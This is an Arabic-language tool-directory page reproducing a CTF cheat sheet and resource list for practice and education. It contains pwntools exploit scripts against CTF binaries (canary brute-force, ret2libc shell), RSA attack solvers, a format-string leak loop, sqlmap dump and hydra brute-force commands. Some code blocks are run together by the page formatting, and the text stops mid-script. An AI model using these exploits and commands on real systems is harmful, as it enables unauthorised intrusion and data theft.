Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CTFs — ورقة غش CTF + كتابات / ملفات لبعض مسابقات CTF الأمنية التي قمت بها | Kitploit
أدوات/GitHubGitHub/adamkadaban/ctfs
الاستخبارات مفتوحة المصدر (OSINT)الهندسة العكسيةالتحقيق الجنائي الرقميأمن الويبإخفاء المعلوماتالتشفيرCTFاختبار الاختراقالتعلم والتعليمموارد منسقةاستغلال الملفات الثنائيةمختبرات وتدريب عملي
8476784منذ 9 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHubadamkadaban/ctfs

CTFs

ورقة غش CTF + كتابات / ملفات لبعض مسابقات CTF الأمنية التي قمت بها

عرض المستودعالموقع الإلكتروني

CTFs

كتابة التقارير / الملفات لبعض مسابقات CTF السيبرانية التي قمت بها

لقد أدرجت أيضًا قائمة بموارد CTF بالإضافة إلى ورقة غش شاملة تغطي الكثير من تحديات CTF الشائعة

[!NOTE] يوجد الآن مرآة ويب لهذا المستودع على hackback.zip

جدول المحتويات

  • الموارد

    • قنوات يوتيوب
    • مواقع الممارسة / التعلم
      • CTFs
      • عام
      • Pwn
      • Rev
      • ويب
      • تشفير
      • العقود الذكية
      • سحابي
      • اختبار الاختراق
  • ورقة غش CTF

    • الطب الشرعي / إخفاء المعلومات
      • عام
      • صوتي
      • صورة
      • فيديو
      • صورة جهاز
      • Pcap
    • Pwn / استغلال الثنائيات
      • عام
      • تجاوز السعة المخزنية
      • PIE (التنفيذ المستقل عن الموضع)
      • NX (غير قابل للتنفيذ)
      • ROP (للثنائيات المترجمة بشكل ثابت)
      • حارس المكدس
      • ثغرات سلسلة التنسيق
      • شيل كود
      • العودة إلى Libc
    • هندسة عكسية
      • حلالات SMT
      • عكس التحقق بايت ببايت
      • البحث عن السلاسل باستخدام gef
    • ويب
      • فحص حقول الإدخال
    • تشفير
      • CyberChef

      • الشفرات الشائعة

      • RSA

        • استخراج معلومات RSA باستخدام pycryptodome
        • نظرية الباقي الصينية (p,q,e,c)
        • هجوم كوبرسميث (c,e)
        • هجوم بولارد (n,e,c)
        • هجوم وينر (n,e,c)
      • Base16, 32, 36, 58, 64, 85, 91, 92

    • صندوق
      • الاتصال
      • التعداد
      • تصعيد الامتيازات
      • الاستماع للشل العكسي
      • شل عكسي
      • الحصول على شل تفاعلي
        • لينكس
        • ويندوز / عام
    • OSINT
    • متنوع

الموارد

قنوات يوتيوب

  • John Hammond
    • كان يصنع الكثير من فيديوهات CTF، لكنه انتقل إلى أمور أخرى
    • لا يزال هناك الكثير من الفيديوهات المفيدة. فيديوهات CTF بشكل خاص رائعة لتعليم الأشخاص الجدد في مجال الأمن السيبراني.
  • Live Overflow
    • يصنع فيديوهات عميقة ومثيرة للاهتمام حول الأمن السيبراني.
    • لديه سلسلة pwn رائعة
  • IppSec
    • يصنع تقارير عن كل جهاز من أجهزة HackTheBox
      • يتحدث عن طرق مختلفة للحل ولماذا تعمل. أوصي بشدة.
  • Computerphile
    • نفس الأشخاص الذين يقفون وراء Numberphile، لكن أكثر روعة. يصنع فيديوهات بسيطة للمبتدئين وبديهية حول المفاهيم الأساسية.
  • pwn.college
    • أستاذ في ASU لديه الكثير من الفيديوهات حول pwn
    • مادة دراسية موجهة: https://pwn.college/
    • الكثير من مسائل الممارسة: https://dojo.pwn.college/
  • PwnFunction
    • فيديوهات متحركة عالية الجودة وسهلة الفهم حول مواضيع مختلفة
    • المواضيع متقدمة قليلاً لكنها مفهومة بسهولة
  • Martin Carlisle
    • يصنع فيديوهات تقارير رائعة عن تحديات picoCTF.
  • Sam Bowne
    • أستاذ في CCSF يقوم بنشر جميع محاضراته ومواده الدراسية مفتوحة المصدر على موقعه
  • UFSIT
    • فريق UF للأمن السيبراني (قد أكون متحيزًا قليلاً، لكنها بالتأكيد واحدة من أفضل قنوات يوتيوب لهذا المجال)
  • Gynvael

محاضرات

إليك بعض الشرائح التي أعددتها: hackback.zip/presentations

مواقع الممارسة / التعلم

CTFs

  • PicoCTF
    • الكثير من تحديات الممارسة الرائعة.
    • بالتأكيد المعيار الذهبي للبدء
  • UCF
    • جيد بشكل عام، لكنه رائع لممارسة pwn
    • أعمل حاليًا على وضع التقارير هنا
  • hacker101
    • CTF، لكنه موجه قليلاً نحو اختبار الاختراق
  • CSAW
    • معطل 90% من الوقت وعادة لا تعمل أي من الاتصالات
    • لكن إذا كان يعمل، فإنه يحتوي على الكثير من التحديات التمهيدية الجيدة
  • CTF101
    • واحدة من أفضل المقدمات لـ CTF التي رأيتها (عمل رائع من osiris)
    • موجزة جدًا وصديقة للمبتدئين

عام

  • HackTheBox
    • الموقع الأصلي للأجهزة
      • الأجهزة منسقة لضمان الجودة
    • أصبح الآن يحتوي على بعض المشاكل على غرار CTF
    • أصبح الآن يحتوي على دورات لبدء التعلم
  • TryHackMe
    • أجهزة أسهل قليلاً من HackTheBox
    • تحديات خطوة بخطوة
    • أصبح الآن يحتوي على "مسارات تعلم" لتوجيهك خلال المواضيع
  • CybersecLabs
    • مجموعة رائعة من الأجهزة
    • لديه بعض مواد CTF
  • VulnHub
    • يحتوي على آلات افتراضية ضعيفة يجب نشرها بنفسك
    • الكثير من التنوع، لكن من الصعب العثور على أجهزة جيدة برأيي

Pwn

  • pwnable.kr
    • تحديات بمستويات صعوبة جيدة
  • pwnable.tw
    • أصعب من pwnable.kr
    • يحتوي على تقارير بمجرد حل التحدي
  • pwnable.xyz
    • المزيد من تحديات pwn
    • يحتوي على تقارير بمجرد حل التحدي
    • يمكنك رفع تحدياتك الخاصة بمجرد حل جميع التحديات
  • pwn dojo
    • أفضل مجموعة من تحديات pwn في رأيي
    • مدعومة بشرائح تعليمية حول كيفية القيام بها ولديه ديسكورد إذا كنت بحاجة إلى مساعدة
  • nightmare
    • المعيار الذهبي لاختراق ثنائيات C
    • لديه بعض الأخطاء/الأخطاء المطبعية، لكنه رائع بشكل عام
  • pwn notes
    • ملاحظات من شخص عشوائي على الإنترنت
    • سطحية جدًا، لكنها مقدمة جيدة لكل شيء
  • Security Summer School
    • دورة أمنية من جامعة بوخارست
    • شروحات صديقة جدًا للمبتدئين
  • RPISEC MBE
    • دورة استغلال الثنائيات الحديثة من RPI
    • تحتوي على عدد جيد من المختبرات/المشاريع للممارسة وبعض المحاضرات (قديمة قليلاً)
  • how2heap
    • سلسلة استغلال الكومة من فريق CTF لجامعة ASU
    • تتضمن ميزة مصحح أخطاء رائعة تظهر كيفية عمل الاستغلالات
  • ROPEmporium
    • مجموعة من التحديات في كل بنية رئيسية تعلم البرمجة الموجهة نحو العودة
    • عالية الجودة جدًا. تعلم من أبسط التقنيات إلى أكثرها تقدمًا.
    • أعمل حاليًا على إضافة تقاريري الخاصة هنا
  • Phoenix Exploit Education
    • الكثير من مشاكل استغلال الثنائيات مرتبة حسب الصعوبة
    • تتضمن المصدر وتأتي مع آلة افتراضية تحتوي على جميع الثنائيات.

Rev

  • challenges.re
    • الكثير من التحديات 0_0
    • تنوع كبير
  • reversing.kr
  • crackmes.one
    • الكثير من تحديات crackme (على غرار CTF)
  • ورش عمل Malware Unicorn
    • ورش عمل مجانية حول الهندسة العكسية وتحليل البرامج الضارة

ويب

  • websec.fr
    • الكثير من تحديات الويب بنطاق جيد من الصعوبة
  • webhacking.kr
    • يحتوي على أرشيف للعديد من تحديات الويب الجيدة
  • تأمين تطبيقات الويب
    • دورة CCSF مفتوحة المصدر
  • OWASP Juice Shop
    • موجه جدًا نحو اختبار الاختراق، لكنه مفيد لاستكشاف الويب في CTFs
    • أكثر من 100 ثغرة/تحدي في المجموع
  • PortSwigger
    • المعيار الذهبي لفهم اختراق الويب
    • الكثير من التحديات والشروحات الرائعة
  • DVWA
    • موجه جدًا نحو اختبار الاختراق، لكنه مفيد لاستكشاف الويب في CTFs
  • bWAPP
    • موجه جدًا نحو اختبار الاختراق، لكنه مفيد لاستكشاف الويب في CTFs
  • CTF Challenge
    • مجموعة من تحديات الويب من صنع Adam Langley والتي صُممت لتكون واقعية قدر الإمكان.
    • جيد لاكتساب خبرة في برامج مكافآت الثغرات

تشفير

  • CryptoHack
    • أعمل حاليًا على وضع التقارير هنا
  • cryptopals
    • الموقع الأصلي لتحديات التشفير.
  • CryptoCTF
    • مسابقة CTF سنوية في التشفير. السنوات السابقة متاحة على 20{19,20,21,22,23,24}.cr.yp.toc.tf.

العقود الذكية

  • Capture the Ether

سحابي

  • CloudFoxable
    • يرشدك خلال إعداد بيئة ضعيفة يتم استغلالها باستخدام cloudfox
  • flaws.cloud
    • تحديات مجانية تتضمن العثور على الأسرار في S3 و EC2 و Lambda

اختبار الاختراق

  • hacker101
  • hacksplaining
  • تطوير الاستغلال
    • دورة CCSF مفتوحة المصدر
  • مقدمة في الأمن
    • دورة من جامعة كاليفورنيا سان دييغو يدرسها Deian Stefan
    • تغطي أساسيات pwn والتشفير
  • ورقة غش Active Directory
  • WADComs
    • ورقة غش تفاعلية لبيئات ويندوز/AD
  • LOLBAS
    • ورقة غش تفاعلية للثنائيات والبرامج النصية والمكتبات "العيش على الأرض" في ويندوز للاستغلال
  • GTFOBins
    • ورقة غش تفاعلية لتقنيات "العيش على الأرض" في لينكس

ورقة غش CTF

الطب الشرعي / إخفاء المعلومات

عام

  • AperiSolve
    • أداة تقوم تلقائيًا بتشغيل أدوات إخفاء المعلومات الأخرى
  • مصدر جيد جدًا من John Hammond لأنواع مختلفة من التحديات:
    • https://github.com/JohnHammond/ctf-katana
  • ورقة غش رائعة أخرى لإنشاء التحديات وحلها:
    • https://github.com/apsdehal/awesome-ctf/blob/master/README.md
  • file
    • file <file.xyz>
    • يحدد نوع الملف
  • steghide
    • steghide extract -sf <file.xyz>
    • يستخرج الملفات المضمنة
  • stegseek
    • stegseek <file> <password list>
    • يستخرج الملفات المضمنة باستخدام قائمة كلمات
    • سريع جدًا جدًا
  • binwalk
    • binwalk -M --dd=".*" <file.xyz>
    • يستخرج الملفات المضمنة
  • exiftool
    • exiftool <file.xyz>
    • يقرأ البيانات الوصفية
  • strings
    • strings <file.xyz>
    • يعثر على جميع الأحرف القابلة للطباعة في ملف
  • hexedit
    • hexedit <file.xyz>

صوتي

  • صوت جهاز الفاكس:

    • مثال
    • فك التشفير
  • صوت SSTV (تلفزيون المسح البطيء) (أشياء القمر)

    • مثال
    • فك التشفير
    • فك تشفير بديل
    • استخدم إعدادات qsstv هذه:

    إعدادات SSTV

  • صورة الطيف الصوتي

    • فك التشفير
  • تغيير الطبقة والسرعة والاتجاه...

    • الطبقة والسرعة والنغمة
    • عكس
  • أزرار الهاتف DTMF (التردد المزدوج متعدد النغمات)

    • multimon-ng -a DTMF -t wav <file.wav>
      • ضع في اعتبارك أن هذه يمكن أن تكون أحرف multitap.
        • هذا يمكنه فك تشفير الأرقام إلى نص
  • شريط كاسيت

    • مثال
    • فك التشفير (ملفات wav إلى tap)
  • شفرة مورس

    • فك التشفير

صورة

  • stegsolve

    • التبديل بين البتات
  • foremost

    • أداة خاصة لاستخراج الصور
    • يمكن استخدامها لتجميع الصور المكسورة (في pcap على سبيل المثال)
  • Depix

    • إزالة البيكسلات عن النص
  • تحقق مما إذا كان شيء ما معدلاً بالفوتوشوب (انظر إلى الإبرازات)

    • https://29a.ch/photo-forensics/#error-level-analysis
  • zsteg

    • فك تشفير LSB
  • jsteg

    • حل إخفاء المعلومات في jpeg
  • pixrecovery

    • حتى الآن أكثر أداة استعادة png فعالية وجدتها (طالما أنك لا تهتم بالعلامات المائية)
    • photopea يعمل أيضًا بشكل جيد جدًا
  • crc32fix

    • إصلاح ارتفاع وعرض png بناءً على المجموع الاختباري
  • PCRT

    • إصلاح معلومات رأس وتذييل png
  • png-crc-fix

    • إصلاح المجموع الاختباري لـ png
  • pngcheck

    • معرفة ما إذا كانت هناك أخطاء في png
    • pngcheck

فيديو

صورة جهاز

  • استعادة الملفات
    • photorec <file.bin>
  • يمكنك تثبيت الصورة كآلة افتراضية
    • https://habr.com/en/post/444940/
  • تثبيت ملف .img:
    • binwalk -M --dd=".*" <fileName>
    • قم بتشغيل file على المخرجات واختر ملف نظام لينكس
    • losetup /dev/loop<freeLoopNumber> <fileSystemFile>

Pcap

  • استخراج البيانات باستخدام tcpflow
    • tcpflow -r <file.pcap>
  • استخراج البيانات باستخدام wireshark
    • ملف ← تصدير الكائنات ← قم بالتحديد

Pwn / استغلال الثنائيات

  • لهذا، أقترح النظر إلى مستودعي LearnPwn بدلاً من ذلك، لأن ورقة الغش هذه تم إعدادها قبل أن أعرف الكثير عن pwn
    • ومع ذلك، فقد أدرجت بعض الملاحظات التي تكمّل ما لدي هنا.

عام

  • التحقق من أمان ELF
    • checksec <binary>
    • rabin2 -I <binary>
  • التحقق من أمان PE
    • binary-security-check
    • binary-security-check <bin>.exe
  • التحقق من seccomp bpf
    • seccomp-tools
    • seccomp-tools dump ./<binary>
  • الاطلاع على الرموز
    • readelf -s <binary>
  • الاطلاع على السلاسل
    • rabin2 -z <binary>
  • تعبئة العنوان إلى بايت
    • little endian (لـ 32 بت)
      • python -c "import pwn; print(pwn.p32(<intAddr>))
    • big endian (لـ 64 بت)
      • python -c "import pwn; print(pwn.p64(<intAddr>))
    • pwntools تقوم تلقائيًا بتعبئة العناوين بالترتيب الصحيح للبايتات بالنسبة لك

تجاوز السعة المخزنية

  • إذا احتجت يومًا إلى الحصول على شل /bin/sh وتأكدت من أنه يعمل لكن البرنامج يخرج على أي حال، استخدم هذه الحيلة:
    • ( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>
    • pwntools تفعل ذلك باستخدام process.interactive()

PIE (التنفيذ المستقل عن الموضع)

  • تحديد القيمة العشوائية
    • pwn cyclic <numChars> لتوليد الحمولة
    • dmesg | tail | grep segfault لرؤية مكان الخطأ
    • pwn cyclic -l 0x<errorLocation> لرؤية الإزاحة العشوائية للتحكم في مؤشر التعليمات
    • مثال

NX (غير قابل للتنفيذ)

  • يمكننا استخدام ROP (البرمجة الموجهة نحو العودة) للحل

ROP (للثنائيات المترجمة بشكل ثابت)

  • ROPGadget
    • عرض القطع الصغيرة وإنشاء سلاسل rop تلقائيًا
    • ROPgadget --ropchain --binary <binary>
      • يمكنك بعد ذلك إضافة حشوة في بداية الكود (بناءً على الفرق بين المخزن المؤقت وعنوان العودة) وتشغيل الكود للحصول على شل
      • عرض توضيحي
  • ropr

حارس المكدسإيجاد stack canary في مصحح الأخطاء

  • Stack canary هي قيمة توضع قبل EIP/RIP (مؤشر التعليمات) يمكن الكتابة فوقها عبر تجاوز سعة المخزن المؤقت. يتسبب البرنامج في خطأ أساسًا إذا تم الكتابة فوق المكدس بقيمة مختلفة عن الأصل. هدفنا هو العثور على المكدس الأصلي حتى عند حدوث التجاوز، يعمل البرنامج بشكل طبيعي.
  • يتم أخذ stack canary من gs أو fs (لـ 32 بت و64 بت على التوالي)
    • في التفكيك، قبل قراءة شيء ما، يمكنك رؤية سطر مشابه لما يلي:``` 0x000000000000121a <+4>: sub rsp,0x30 0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28 0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax 0x000000000000122b <+21>:xor eax,eax
root@kitploit:~
- هنا، يتم نقل حارس المكدس إلى `rax` عند الإزاحة +8.
    - لذا، قم بالتوقف عند الإزاحة التالية وتحقق مما في rax (`i r rax`) لمعرفة قيمة الحارس الحالية

**الحراس الثابتون**
- يكون الحارس ثابتًا فقط إذا تم تنفيذه يدويًا من قبل المبرمج (وهو الحال في بعض تحديات pwn التمهيدية)، أو إذا كنت قادرًا على إنشاء فرع (fork) للبرنامج.
    - عندما تقوم بإنشاء فرع للبرنامج الثنائي، فإن النسخة المفرعة لها نفس الحارس، لذا يمكنك القيام بهجوم bruteforce بايت ببايت على ذلك

**إضافات**
- عندما يتم الكتابة فوق حارس المكدس بشكل غير صحيح، فإنه يتسبب في استدعاء `__stack_chk_fail`
    - إذا لم نتمكن من تسريب الحارس، يمكننا أيضًا تعديل جدول GOT لمنع استدعائه
- يتم تخزين الحارس في بنية `TLS` للمكدس الحالي ويتم تهيئته بواسطة `security_init`
    - إذا كنت تستطيع الكتابة فوق قيمة الحارس الحقيقية، يمكنك تعيينها مساوية لأي قيمة تقرر تجاوزها.

- نص بسيط لـ bruteforce حارس ثابت بطول 4 بايت:```python
#!/bin/python3
from pwn import *

#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF('./vuln')

# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"

canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range(1,5):
    for letter in range(0,len(alphabet)):  # We will go through each letter/number in the string 'alphabet'
        p = elf.process()  # We start the process
        wait = p.recv().decode('utf-8')
        p.sendline(str(32+i))  # In this program, we had to specify how many bytes we were gonna send.
        wait = p.recv().decode('utf-8')
        p.sendline('A'*32 + canary + alphabet[letter])  # We send the 32 A's to overflow, and then the canary we already have + our guess
        prompt = p.recv().decode('utf-8')
        if "Stack" not in prompt:  # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
            canary += alphabet[letter]  # If it doesn't print that, we got part of our canary :)
            break  # Move on to the next canary letter/number

print("The canary is: " + canary)

ثغرات سلسلة التنسيق

  • انظر إلى الجدول 2 لمعرفة ما يجب تجربته إذا رأيت "printf(buf)" أو شيء من هذا القبيل:
    • https://owasp.org/www-community/attacks/Format_string_attack
  • أوصي بشدة بمشاهدة جون هاموند وهو يحل تحدي 'echooo' من picoCTF 2018
  • في بعض الأحيان، محاولة طباعة السلاسل فقط من المكدس مثل: '%s %s %s %s %s %s %s' قد تسبب أخطاء لأن ليس كل شيء في المكدس هو سلسلة.
  • حاول تقليل ذلك باستخدام '%x %x %x %x %x %s' بدلاً من ذلك
  • بدلاً من الاضطرار إلى زيادة عدد %x و %s التي تكتبها باستمرار، يمكنك تمرير معلمة لتسهيل الأمر:
    • %1$s - سيؤدي هذا إلى طباعة القيمة الأولى في المكدس (على حد فهمي، القيمة المجاورة للمخزن المؤقت الخاص بك) كسلسلة.
    • %2$s - سيؤدي هذا إلى طباعة القيمة الثانية كسلسلة، وهكذا دواليك
    • يمكنك استخدام حلقات من سطر واحد لمحاولة العثور على العلم عن طريق تسريب المكدس. اضغط ^C (CTRL + C) للانتقال إلى القيمة التالية.
      • for i in {1..100}; do echo "%$i\$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
  • يمكنك التحكم في كمية التسريب باستخدام معاملات حجم مختلفة:
    • %hhx يسرب 1 بايت (نصف نصف حجم int)
    • %hx يسرب 2 بايت (نصف حجم int)
    • %x يسرب 4 بايت (حجم int)
    • %lx يسرب 8 بايت (حجم long)
  • فيديو جيد جدًا عن تعديل المكدس باستخدام ثغرة fstring و %n:
    • https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle

شيلكود

  • موقع جيد للعثور على شيلكود مختلف:
    • http://shell-storm.org/shellcode/

العودة إلى Libc

  • سنقوم بالكتابة فوق EIP لاستدعاء دالة المكتبة system() وسنمرر أيضًا ما يجب تنفيذه، في هذا المثال مخزن مؤقت يحتوي على "/bin/sh"

  • شرح جيد:

    • https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM
  • مثال جيد (اذهب إلى 3:22:44):

    • https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org
    • https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg
  • الحصول على عنوان execve("/bin/sh")

    • one_gadget <libc file>
  • إذا كنت تعرف بالفعل ملف libc وموقعه (أي لا تحتاج إلى تسريبهما...)```python #!/bin/python3

from pwn import * import os

binaryName = 'ret2libc1'

get the address of libc file with ldd

libc_loc = os.popen(f'ldd {binaryName}').read().split('\n')[1].strip().split()[2]

use one_gadget to see where execve is in that libc file

one_gadget_libc_execve_out = [int(i.split()[0], 16) for i in os.popen(f'one_gadget {libc_loc}').read().split("\n") if "execve" in i]

pick one of the suitable addresses

libc_execve_address = one_gadget_libc_execve_out[1]

p = process(f'./{binaryName}') e = ELF(f'./{binaryName}') l = ELF(libc_loc)

get the address of printf from the binary output

printf_loc = int(p.recvuntil('\n').rstrip(), 16)

get the address of printf from libc

printf_libc = l.sym['printf']

calculate the base address of libc

libc_base_address = printf_loc - printf_libc

generate payload

0x17 is from gdb analysis of offset from input to return address

offset = 0x17

payload = b"A"*offset payload += p64(libc_base_address + libc_execve_address)

send the payload

p.sendline(payload)

enter in interactive so we can use the shell created from our execve payload

p.interactive()

root@kitploit:~
## الهندسة العكسية

> دليل رائع: [https://opensource.com/article/20/4/linux-binary-analysis](https://opensource.com/article/20/4/linux-binary-analysis)
 
- [Ghidra](https://ghidra-sre.org/)
    - مفكك شفرات مفيد جداً
- dotPeek أو dnSpy
    - فك تجميع ملفات .NET التنفيذية
- [jadx](https://github.com/skylot/jadx) و jadx-gui
    - فك تجميع ملفات apk
- [devtoolzone](https://devtoolzone.com/decompiler/java)
    - فك تجميع جافا عبر الإنترنت
- [Quiltflower](https://github.com/QuiltMC/quiltflower/)
    - مفكك شفرات جافا متقدم يعمل في الطرفية
- apktool
    - فك تجميع ملفات apk
    - `apktool d *.apk`
- [gdb](https://www.gnu.org/software/gdb/)
    - تحليل الملفات الثنائية
    - [peda](https://github.com/longld/peda) (إضافة لزيادة الوظائف)
    - [gef](https://github.com/hugsy/gef) (إضافة gdb لمحترفي الثغرات)
- [radare2](https://github.com/radareorg/radare2)
    - تحليل الملفات الثنائية
- [FLOSS](https://github.com/mandiant/flare-floss)
    - `strings` محسّنة. يستخدم التحليل الثابت لإيجاد وحساب السلاسل النصية

#### حلالات SMT
- [angr](https://github.com/angr/angr) (بايثون)
    - [الوثائق](https://docs.angr.io/core-concepts/toplevel)
    - [دروس](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
- [z3](https://github.com/Z3Prover/z3)
    - [دروس](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)

#### فحص بايت-ببايت عكسي (هجوم القناة الجانبية)

[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)

- هذه نسخة صممتها لتحدٍ يستخدم هجومًا زمنيًا:
    - قد تضطر لتشغيلها عدة مرات لمراعاة العشوائية```python
#!/bin/python3

from pwn import *
import string

keyLen = 8
binaryName = 'binary'

context.log_level = 'error'

s = ''
print("*"*keyLen)
for chars in range(keyLen):
    a = []
    for i in string.printable:
        p = process(f'perf stat -x, -e cpu-clock ./{binaryName}'.split())
        p.readline()
        currPass = s + i + '0'*(keyLen - chars - 1)
        # print(currPass)
        p.sendline(currPass.encode())
        p.readline()
        p.readline()
        p.readline()
        info = p.readall().split(b',')[0]
        p.close()
        try:
            a.append((float(info), i))
        except:
            pass
        # print(float(info), i)
    a.sort(key = lambda x: x[0])
    s += str(a[-1][1])
    print(s + "*"*(keyLen - len(s)))
    # print(sorted(a, key = lambda x: x[0]))

p = process(f'./{binaryName}')
p.sendline(s.encode())
p.interactive()

البحث عن سلاسل باستخدام gef

  • إذا تم قراءة علمك (flag) في متغير أو سجل في أي نقطة، يمكنك التوقف بعد نقله وتشغيل grep <string> وسيظهر لك (gef) تلقائيًا السلسلة المطابقة لنمط البحث الخاص بك

الويب

  • Nikto (إذا كان مسموحًا به)
    • يبحث تلقائيًا عن الثغرات الأمنية
  • gobuster (إذا كان مسموحًا به)
    • يقوم بهجوم القوة العمياء (Brute force) على الدلائل والملفات
  • hydra (إذا كان مسموحًا به)
    • يقوم بهجوم القوة العمياء على عمليات تسجيل الدخول لخدمات متعددة
  • BurpSuite
    • يعترض طلبات الويب ويسمح لك بتعديلها
  • Wireshark
    • تحليل حركة مرور الشبكة الحية وملفات pcap
  • php reverse shell
    • مفيد للمواقع التي تسمح لك برفع الملفات
    • يجب تنفيذ هذا الملف على الخادم ليعمل
  • WPScan
    • فحص مواقع ووردبريس
    • استخدم wpscan --url <site> --plugins-detection mixed -e مع مفتاح API للحصول على أفضل النتائج
  • jwt
    • يمكنك التعرف على رمز JWT لأن JSON المشفر بـ base64 (وبالتالي رموز jwt) يبدأ بـ "ey"
    • هذا الموقع سيفك تشفير رموز JSON الويب
    • يمكنك كسر السر لرمز JSON الويب لتعديل وتوقيع رموزك الخاصة
      • echo <token> > jwt.txt
      • john jwt.txt
  • حقن SQL
    • sqlmap
      • sqlmap --forms --dump-all -u <url>

فحوصات الإدخال العشوائية (Fuzzing)

  • FFUF
    • انسخ الطلب إلى حقل الإدخال واستبدل المعامل بـ "FUZZ":
      • ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all
      • استخدم -fs لفلترة الحجوم

التشفير (Crypto)

CyberChef

  • CyberChef
    • يقوم بعمليات تشفير مختلفة

كاشف الشفرات

هاشات

  • hashid
    • أداة سطر أوامر للكشف عن نوع الهاش

الشفرات الشائعة

  • Caesars Cipher
  • Vigenere Cipher```python

Solver using custom table

cipherText = "" plainText = "" flagCipherText = "" tableFile = ""

with open(cipherText) as fin: cipher = fin.readline().rstrip()

with open(plainText) as fin: plain = fin.readline().rstrip()

with open(flagCipherText) as fin: flag = fin.readline().rstrip()

with open(tableFile) as fin: table = [i.rstrip().split() for i in fin.readlines()]

table[0].insert(0, "") # might have to modify this part. # just a 2d array with the lookup table # should still work if the table is slightly off, but the key will be wrong key = "" for i, c in enumerate(plain[0:100]): col = table[0].index(c) for row in range(len(table)): if table[row][col] == cipher[i]: key += table[row][0] break

print(key)

dec_flag = "" for i, c in enumerate(flag[:-1]): col = table[0].index(key[i]) for row in range(len(table)): if table[row][col] == flag[i]: dec_flag += table[row][0] break

print(dec_flag)

root@kitploit:~
- [Substitution Cipher](https://www.quipqiup.com/)
- [Rot13](https://rot13.com/)
- [Keyed Caesars cipher](https://www.boxentriq.com/code-breaking/keyed-caesar-cipher)

### RSA

#### احصل على معلومات RSA باستخدام pycryptodome```python
from Crypto.PublicKey import RSA

keyName = "example.pem"

with open(keyName,'r') as f:
    key = RSA.import_key(f.read())

print(key)

# You can also get individual parts of the RSA key 
# (sometimes not all of these)
print(key.p)
print(key.q)
print(key.n)
print(key.e)
print(key.d)
print(key.u)

# public keys have n and e

Chinese Remainder Theorem (p,q,e,c)

  • استخدم هذا عندما تتمكن من تحليل العدد n

    • التطبيقات السيئة ستحتوي على أكثر من عامل أولي
    • الإثبات
  • قديم```python def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y)

def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m

p = q = e = c =

n = p*q # use factordb command or website to find factors

phi = (p-1)*(q-1) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)

d = modinv(e, phi) # private key

print(d)

m = pow(c,d,n) # decrypted plaintext message in long integer form

thing = hex(m)[2:] # ascii without extra stuff at the start (0x) print(bytes.fromhex(thing).decode('ascii'))

root@kitploit:~
- جديد```python
#!/bin/python3
from Crypto.Util.number import *
from factordb.factordb import FactorDB

# ints:
n =    
e =  
c =  

f = FactorDB(n)
f.connect()
factors = f.get_factor_list()

phi = 1
for i in factors:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)
  • موقع إلكتروني يعطي العوامل ومؤشر أويلر (phi)
    • https://www.alpertron.com.ar/ECM.HTM

هجوم كوبرسميث (c, e)

  • يُستخدم عادةً إذا كان الأُس صغيرًا جدًا (e <= 5)

    • إثبات```python from Crypto.Util.number import * def nth_root(radicand, index): lo = 1 hi = radicand while hi - lo > 1: mid = (lo + hi) // 2 if mid ** index > radicand: hi = mid else: lo = mid

    if lo ** index == radicand: return lo elif hi ** index == radicand: return hi else: return -1

c = e =

plaintext = long_to_bytes(nth_root(c, e)) print(plaintext.decode("UTF-8"))

root@kitploit:~
#### هجوم بولارد (n,e,c)
- يعتمد على [طريقة تحليل بولارد](http://www.math.columbia.edu/~goldfeld/PollardAttack.pdf)، والتي تجعل نواتج الأعداد الأولية [سهلة التحليل](https://people.csail.mit.edu/rivest/pubs/RS01.version-1999-11-22.pdf) إذا كانت (B)ناعمة 
    - تكون هذه هي الحالة إذا كان `p-1 | B!` و `q - 1` يحتوي على عامل > `B````python
from Crypto.Util.number import *
from math import gcd

n = 
c = 
e = 

def pollard(n):
    a = 2
    b = 2
    while True:
        a = pow(a,b,n)
        d = gcd(a-1,n)
        if 1 < d < n: 
            return d
        b += 1

p = pollard(n)
q = n // p

phi = 1
for i in [p,q]:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)

Wiener Attack (n,e,c)

  • للاستخدام عندما تكون d صغيرة جدًا (أو e كبيرة جدًا)
    • باستخدام هذه وحدة python
    • الدليل```python from Crypto.Util.number import * import owiener

n = e = c =

